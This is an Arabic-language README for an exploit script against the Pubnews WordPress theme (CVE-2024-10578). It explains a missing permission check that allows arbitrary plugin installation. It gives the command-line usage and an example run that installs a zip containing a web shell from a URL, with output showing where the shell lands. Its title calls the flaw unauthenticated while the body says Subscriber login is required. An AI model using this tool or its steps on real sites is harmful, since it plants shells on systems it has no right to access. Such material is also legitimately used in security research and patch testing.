
Pubnews <= 1.0.7 - تثبيت إضافات تعسفي دون مصادقة
ثيم Pubnews في ووردبريس معرّض لثغرة تثبيت إضافات تعسفي غير مصرّح به بسبب غياب فحص الصلاحيات في الدالة pubnews_importer_plugin_action_for_notice() في جميع الإصدارات حتى 1.0.7 وما يشملها. تسمح هذه الثغرة للمهاجمين المصادقين بصلاحية مستوى المشترك (Subscriber) وما فوق بتثبيت إضافات تعسفية يمكن استغلالها لاستهداف ثغرات أخرى.
يستغل هذا السكربت الثغرة في ثيم Pubnews لتثبيت إضافة تعسفية من رابط معيّن. يمكن أن تحتوي الإضافة على شيل خبيث أو أي حمولة أخرى.
CVE-2024-10578.py [-h] -u URL -un USERNAME -p PASSWORD -url_zip PLUGIN_URL
Pubnews <= 1.0.7 - Unauthenticated Arbitrary Plugin Installation # By Nxploited, Khaled alenazi
options:
-h, --help show this help message and exit
-u, --url URL The URL of the WordPress site
-un, --username USERNAME
The username for WordPress login
-p, --password PASSWORD
The password for WordPress login
-url_zip, --plugin_url PLUGIN_URL
The plugin URL to install (must be a zip file with the shell injected inside)
python
CVE-2024-10578.py -u http://target/wordpress -un admin -p admin -url_zip http://target/shell1.zip
[+] Logged in successfully.
[+] Admin _wpnonce extracted: 6bf22371ab
[+] Plugin installed successfully.
[+] Plugin extracted. You can find the shell here: /wp-content/plugins/shell1/
هذا السكربت مخصص للأغراض التعليمية فقط. لا يقرّ المؤلف استخدام هذا السكربت في أنشطة غير قانونية. استخدمه بمسؤولية وفقط على الأنظمة التي لديك إذن صريح لاختبارها.
بواسطة: Nxploited | Khaled Alenazi